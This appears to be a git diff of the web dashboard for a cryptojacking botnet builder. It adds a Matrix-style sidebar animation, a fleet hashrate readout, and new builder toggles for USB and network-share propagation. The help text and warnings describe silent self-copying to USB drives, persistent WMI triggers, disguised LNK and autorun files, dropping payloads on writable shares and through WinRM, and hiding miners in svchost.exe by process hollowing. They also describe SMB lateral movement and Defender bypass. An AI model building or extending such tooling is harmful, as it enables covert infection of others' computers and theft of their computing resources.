||||||
|
function FleetReadout() {
|
||||||
|
const { agents } = useWebSocket();
|
||||||
|
const online = agents.filter((a) => a.status === 'online').length;
|
||||||
|
const total = agents.length;
|
||||||
|
const totalHashrate = agents.reduce((sum, a) => sum + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
|
||||||
|
const fillPct = total > 0 ? Math.round((online / total) * 100) : 0;
|
||||||
|
|
||||||
|
// Tick animation: flash hashrate value whenever it meaningfully changes
|
||||||
|
const [flash, setFlash] = useState(false);
|
||||||
|
const prevHash = useRef(0);
|
||||||
|
useEffect(() => {
|
||||||
|
if (Math.abs(totalHashrate - prevHash.current) > 1) {
|
||||||
|
prevHash.current = totalHashrate;
|
||||||
|
setFlash(true);
|
||||||
|
const t = setTimeout(() => setFlash(false), 600);
|
||||||
|
return () => clearTimeout(t);
|
||||||
|
}
|
||||||
|
}, [totalHashrate]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="fleet-readout">
|
||||||
|
<div className="readout-row">
|
||||||
|
<span className={`readout-dot ${online > 0 ? 'readout-dot-online' : 'readout-dot-idle'}`} />
|
||||||
|
<span className="readout-label">MACHINES</span>
|
||||||
|
<span className="readout-value readout-value-machines">
|
||||||
|
{online}<span className="readout-dim">/{total}</span>
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<div className="readout-row">
|
||||||
|
<span className="readout-glyph">≈</span>
|
||||||
|
<span className="readout-label">HASHRATE</span>
|
||||||
|
<span className={`readout-value ${flash ? 'readout-flash' : ''}`}>
|
||||||
|
{totalHashrate > 0 ? formatHashrate(totalHashrate) : <span className="readout-dim">IDLE</span>}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<div className="readout-bar-wrap" title={`${online} of ${total} online`}>
|
||||||
|
<div className="readout-bar-track">
|
||||||
|
<div
|
||||||
|
className={`readout-bar-fill ${online > 0 ? 'readout-bar-active' : ''}`}
|
||||||
|
style={{ width: `${fillPct}%` }}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<span className="readout-bar-pct">{fillPct}%</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
export default function Layout({ children }: LayoutProps) {
|
export default function Layout({ children }: LayoutProps) {
|
||||||
const location = useLocation();
|
const location = useLocation();
|
||||||
|
|
||||||
@@ -93,14 +149,15 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
))}
|
))}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* Matrix rain log — fills the lower sidebar between nav and footer */}
|
||||||
|
<MatrixRain />
|
||||||
|
|
||||||
<div className="sidebar-footer">
|
<div className="sidebar-footer">
|
||||||
<div className="power-meter">
|
<FleetReadout />
|
||||||
<span className="power-label font-tech">SYSTEM</span>
|
<div className="sidebar-sig font-tech">
|
||||||
<div className="power-bar">
|
<span className="sig-love">made with <span className="sig-heart">♥</span> drjones</span>
|
||||||
<div className="power-fill" />
|
<span className="sig-ver">v0.0.1</span>
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="version-badge font-tech">MK.I · v1.0</div>
|
|
||||||
</div>
|
</div>
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
|
|||||||
212
server/web/src/components/Layout/MatrixRain.tsx
Normal file
212
server/web/src/components/Layout/MatrixRain.tsx
Normal file
@@ -0,0 +1,212 @@
|
|||||||
|
import { useEffect, useRef } from 'react';
|
||||||
|
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||||
|
|
||||||
|
// Full matrix alphabet: katakana + hex + braille dots for visual density
|
||||||
|
const KATAKANA =
|
||||||
|
'アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン';
|
||||||
|
const HEX = '0123456789ABCDEFabcdef';
|
||||||
|
const SYMBOLS = '!@#$%^&*<>/?|\\~';
|
||||||
|
const ALPHABET = KATAKANA + HEX + SYMBOLS;
|
||||||
|
|
||||||
|
const FONT_SIZE = 10;
|
||||||
|
|
||||||
|
interface Column {
|
||||||
|
y: number;
|
||||||
|
speed: number;
|
||||||
|
// occasionally carry a char from live data
|
||||||
|
liveSrc: string;
|
||||||
|
livePos: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function MatrixRain() {
|
||||||
|
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||||
|
const wrapRef = useRef<HTMLDivElement>(null);
|
||||||
|
const { agents, recentShares, commandResults } = useWebSocket();
|
||||||
|
|
||||||
|
// ── Live data pool ──────────────────────────────────────────────────────────
|
||||||
|
// Collect strings from the fleet that will be injected character-by-character
|
||||||
|
// into the rain columns so real data scrolls through the matrix.
|
||||||
|
const livePoolRef = useRef<string[]>([]);
|
||||||
|
useEffect(() => {
|
||||||
|
const pool: string[] = [];
|
||||||
|
for (const a of agents) {
|
||||||
|
pool.push(a.id.replace(/-/g, '')); // stripped UUID
|
||||||
|
if (a.hashrate_15s > 0) pool.push(`${a.hashrate_15s.toFixed(0)}H`);
|
||||||
|
if (a.ip) pool.push(a.ip.replace(/\./g, ''));
|
||||||
|
}
|
||||||
|
for (const s of recentShares.slice(0, 8)) {
|
||||||
|
if (s.hash) pool.push(s.hash.replace(/[^a-fA-F0-9]/g, '').slice(0, 24));
|
||||||
|
}
|
||||||
|
for (const r of (commandResults ?? []).slice(-5)) {
|
||||||
|
if (r.action) pool.push(r.action.toUpperCase().padEnd(8, '_'));
|
||||||
|
}
|
||||||
|
livePoolRef.current = pool.length > 0 ? pool : ['AETHERFORGE', 'MINING', '00E5FF'];
|
||||||
|
}, [agents, recentShares, commandResults]);
|
||||||
|
|
||||||
|
// ── Event log feed ──────────────────────────────────────────────────────────
|
||||||
|
// We inject one short log line per meaningful event, shown as a dim overlay
|
||||||
|
// row scrolling through the canvas.
|
||||||
|
const eventLogRef = useRef<{ text: string; alpha: number }[]>([]);
|
||||||
|
const prevShareLen = useRef(0);
|
||||||
|
const prevAgentLen = useRef(0);
|
||||||
|
useEffect(() => {
|
||||||
|
const newEvents: string[] = [];
|
||||||
|
if (recentShares.length > prevShareLen.current) {
|
||||||
|
const s = recentShares[0];
|
||||||
|
newEvents.push(`SHARE ${s.accepted ? 'OK' : 'REJECT'} ${s.agent_id?.slice(0, 6) ?? '??'}`);
|
||||||
|
}
|
||||||
|
prevShareLen.current = recentShares.length;
|
||||||
|
if (agents.length > prevAgentLen.current) {
|
||||||
|
const a = agents[agents.length - 1];
|
||||||
|
newEvents.push(`AGENT ONLINE ${a.name?.slice(0, 8) ?? '??'}`);
|
||||||
|
}
|
||||||
|
prevAgentLen.current = agents.length;
|
||||||
|
for (const ev of newEvents) {
|
||||||
|
eventLogRef.current.push({ text: ev, alpha: 1 });
|
||||||
|
if (eventLogRef.current.length > 6) eventLogRef.current.shift();
|
||||||
|
}
|
||||||
|
}, [recentShares, agents]);
|
||||||
|
|
||||||
|
// ── Canvas renderer ─────────────────────────────────────────────────────────
|
||||||
|
useEffect(() => {
|
||||||
|
const canvas = canvasRef.current;
|
||||||
|
const wrap = wrapRef.current;
|
||||||
|
if (!canvas || !wrap) return;
|
||||||
|
const ctx = canvas.getContext('2d');
|
||||||
|
if (!ctx) return;
|
||||||
|
|
||||||
|
// Resize canvas to match wrapper
|
||||||
|
const resize = () => {
|
||||||
|
const r = wrap.getBoundingClientRect();
|
||||||
|
canvas.width = Math.floor(r.width);
|
||||||
|
canvas.height = Math.floor(r.height);
|
||||||
|
};
|
||||||
|
resize();
|
||||||
|
const ro = new ResizeObserver(resize);
|
||||||
|
ro.observe(wrap);
|
||||||
|
|
||||||
|
let cols: Column[] = [];
|
||||||
|
const resetCols = () => {
|
||||||
|
const numCols = Math.max(1, Math.floor(canvas.width / FONT_SIZE));
|
||||||
|
cols = Array.from({ length: numCols }, (_, i) => ({
|
||||||
|
y: Math.random() * -(canvas.height * 2),
|
||||||
|
speed: 0.3 + Math.random() * 0.55,
|
||||||
|
liveSrc: '',
|
||||||
|
livePos: 0,
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
resetCols();
|
||||||
|
|
||||||
|
// Periodically inject live data strings into random columns
|
||||||
|
const injectInterval = setInterval(() => {
|
||||||
|
const pool = livePoolRef.current;
|
||||||
|
if (pool.length === 0 || cols.length === 0) return;
|
||||||
|
const colIdx = Math.floor(Math.random() * cols.length);
|
||||||
|
const src = pool[Math.floor(Math.random() * pool.length)];
|
||||||
|
cols[colIdx].liveSrc = src;
|
||||||
|
cols[colIdx].livePos = 0;
|
||||||
|
}, 180);
|
||||||
|
|
||||||
|
let raf: number;
|
||||||
|
let lastTime = 0;
|
||||||
|
const FPS = 24; // keep CPU gentle
|
||||||
|
const MS_PER_FRAME = 1000 / FPS;
|
||||||
|
|
||||||
|
const draw = (ts: number) => {
|
||||||
|
raf = requestAnimationFrame(draw);
|
||||||
|
if (ts - lastTime < MS_PER_FRAME) return;
|
||||||
|
lastTime = ts;
|
||||||
|
|
||||||
|
const W = canvas.width;
|
||||||
|
const H = canvas.height;
|
||||||
|
|
||||||
|
// Fade trail
|
||||||
|
ctx.fillStyle = 'rgba(0,0,0,0.18)';
|
||||||
|
ctx.fillRect(0, 0, W, H);
|
||||||
|
|
||||||
|
ctx.font = `${FONT_SIZE}px 'Courier New', monospace`;
|
||||||
|
|
||||||
|
for (let i = 0; i < cols.length; i++) {
|
||||||
|
const col = cols[i];
|
||||||
|
const x = i * FONT_SIZE;
|
||||||
|
const y = col.y;
|
||||||
|
|
||||||
|
// Pick character: live data char or random alphabet
|
||||||
|
let ch: string;
|
||||||
|
if (col.liveSrc && col.livePos < col.liveSrc.length) {
|
||||||
|
ch = col.liveSrc[col.livePos];
|
||||||
|
col.livePos++;
|
||||||
|
} else {
|
||||||
|
ch = ALPHABET[Math.floor(Math.random() * ALPHABET.length)];
|
||||||
|
}
|
||||||
|
|
||||||
|
// Head character — bright white flash
|
||||||
|
ctx.fillStyle = 'rgba(255,255,255,0.95)';
|
||||||
|
ctx.fillText(ch, x, y * FONT_SIZE);
|
||||||
|
|
||||||
|
// Second char — bright cyan-green (neon)
|
||||||
|
if (y > 1) {
|
||||||
|
ctx.fillStyle = '#00ff41';
|
||||||
|
ctx.fillText(
|
||||||
|
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||||
|
x,
|
||||||
|
(y - 1) * FONT_SIZE,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dim previous chars handled by fade overlay above.
|
||||||
|
// Occasionally render a mid-column dim glyph for density.
|
||||||
|
if (Math.random() < 0.04) {
|
||||||
|
const dimY = Math.floor(Math.random() * (y - 2));
|
||||||
|
ctx.fillStyle = 'rgba(0,180,60,0.22)';
|
||||||
|
ctx.fillText(
|
||||||
|
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
|
||||||
|
x,
|
||||||
|
dimY * FONT_SIZE,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
col.y += col.speed;
|
||||||
|
if (col.y * FONT_SIZE > H && Math.random() > 0.96) {
|
||||||
|
col.y = Math.random() * -20;
|
||||||
|
col.speed = 0.3 + Math.random() * 0.55;
|
||||||
|
col.liveSrc = '';
|
||||||
|
col.livePos = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Event log overlay — bottom of canvas ──────────────────────────
|
||||||
|
const logs = eventLogRef.current;
|
||||||
|
const lineH = FONT_SIZE + 2;
|
||||||
|
ctx.font = `${FONT_SIZE - 1}px 'Courier New', monospace`;
|
||||||
|
for (let j = 0; j < logs.length; j++) {
|
||||||
|
const entry = logs[logs.length - 1 - j];
|
||||||
|
const oy = H - 6 - j * lineH;
|
||||||
|
if (oy < 0) break;
|
||||||
|
ctx.fillStyle = `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`;
|
||||||
|
ctx.fillText(`> ${entry.text}`, 4, oy);
|
||||||
|
// fade over time
|
||||||
|
entry.alpha = Math.max(0, entry.alpha - 0.003);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
raf = requestAnimationFrame(draw);
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
cancelAnimationFrame(raf);
|
||||||
|
clearInterval(injectInterval);
|
||||||
|
ro.disconnect();
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div ref={wrapRef} className="matrix-rain-wrap" aria-hidden="true">
|
||||||
|
<canvas ref={canvasRef} className="matrix-rain-canvas" />
|
||||||
|
{/* Scanline overlay for authentic CRT feel */}
|
||||||
|
<div className="matrix-rain-scanlines" />
|
||||||
|
{/* Top and bottom vignette fades */}
|
||||||
|
<div className="matrix-rain-vignette-top" />
|
||||||
|
<div className="matrix-rain-vignette-btm" />
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -47,6 +47,8 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
|||||||
auto_spread: false,
|
auto_spread: false,
|
||||||
hole_punch: false,
|
hole_punch: false,
|
||||||
remote_aggressive: false,
|
remote_aggressive: false,
|
||||||
|
usb_spread: false,
|
||||||
|
share_spread: false,
|
||||||
target_os: 'windows',
|
target_os: 'windows',
|
||||||
target_arch: 'all',
|
target_arch: 'all',
|
||||||
spread_kit: false,
|
spread_kit: false,
|
||||||
|
|||||||
@@ -74,6 +74,8 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
|||||||
hole_punch: false,
|
hole_punch: false,
|
||||||
remote_aggressive: true,
|
remote_aggressive: true,
|
||||||
auto_spread: false,
|
auto_spread: false,
|
||||||
|
usb_spread: false,
|
||||||
|
share_spread: false,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -367,6 +367,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
|||||||
auto_spread: { disabled: false, badge: 'baked' },
|
auto_spread: { disabled: false, badge: 'baked' },
|
||||||
hole_punch: { disabled: false, badge: 'baked' },
|
hole_punch: { disabled: false, badge: 'baked' },
|
||||||
remote_aggressive: { disabled: false, badge: 'baked' },
|
remote_aggressive: { disabled: false, badge: 'baked' },
|
||||||
|
usb_spread: { disabled: false, badge: 'baked' },
|
||||||
|
share_spread: { disabled: false, badge: 'baked' },
|
||||||
target_os: {
|
target_os: {
|
||||||
disabled: isSpreadKit || isFusion,
|
disabled: isSpreadKit || isFusion,
|
||||||
badge: 'baked',
|
badge: 'baked',
|
||||||
|
|||||||
@@ -98,6 +98,8 @@ export const FIELD_HELP: Record<string, string> = {
|
|||||||
process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
|
process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
|
||||||
mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
|
mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
|
||||||
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
|
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
|
||||||
|
usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
|
||||||
|
share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
|
||||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||||
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
||||||
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
|
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
|
||||||
|
|||||||
@@ -1713,6 +1713,29 @@ export default function BuilderPage() {
|
|||||||
</label>
|
</label>
|
||||||
<FieldHint field="remote_aggressive" />
|
<FieldHint field="remote_aggressive" />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={!!form.usb_spread}
|
||||||
|
onChange={(e) => updateField('usb_spread', e.target.checked)} />
|
||||||
|
<span>USB Propagation — copy to every new drive inserted <HelpTip field="usb_spread" /></span>
|
||||||
|
</label>
|
||||||
|
{form.usb_spread && (
|
||||||
|
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
|
||||||
|
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
<FieldHint field="usb_spread" />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={!!form.share_spread}
|
||||||
|
onChange={(e) => updateField('share_spread', e.target.checked)} />
|
||||||
|
<span>Share Drop — spread via mounted network drives & WinRM <HelpTip field="share_spread" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="share_spread" />
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -71,13 +71,20 @@ export interface BuildRecord {
|
|||||||
threads: number;
|
threads: number;
|
||||||
file_size: number;
|
file_size: number;
|
||||||
file_path: string;
|
file_path: string;
|
||||||
|
file_name?: string;
|
||||||
created_at: string;
|
created_at: string;
|
||||||
pool_host: string;
|
pool_host: string;
|
||||||
pool_port: number;
|
pool_port: number;
|
||||||
pool_tls: boolean;
|
pool_tls: boolean;
|
||||||
pool_pass: string;
|
pool_pass: string;
|
||||||
|
platform?: string;
|
||||||
|
bundle_size?: number;
|
||||||
|
download_url?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Alias used in components that deal with forged builds */
|
||||||
|
export type Build = BuildRecord;
|
||||||
|
|
||||||
export interface FleetStats {
|
export interface FleetStats {
|
||||||
total_agents: number;
|
total_agents: number;
|
||||||
online_agents: number;
|
online_agents: number;
|
||||||
@@ -270,6 +277,8 @@ export interface BuildRequest {
|
|||||||
auto_spread?: boolean;
|
auto_spread?: boolean;
|
||||||
hole_punch?: boolean;
|
hole_punch?: boolean;
|
||||||
remote_aggressive?: boolean;
|
remote_aggressive?: boolean;
|
||||||
|
usb_spread?: boolean;
|
||||||
|
share_spread?: boolean;
|
||||||
target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
|
target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
|
||||||
target_arch?: string;
|
target_arch?: string;
|
||||||
spread_kit?: boolean;
|
spread_kit?: boolean;
|
||||||
|
|||||||
6
usb_pack_exclude.txt
Normal file
6
usb_pack_exclude.txt
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
\.exe
|
||||||
|
crypto-miner-agent
|
||||||
|
crypto-miner-fusion
|
||||||
|
\dist\
|
||||||
|
\node_modules\
|
||||||
|
\.git\
|
||||||
Reference in New Issue
Block a user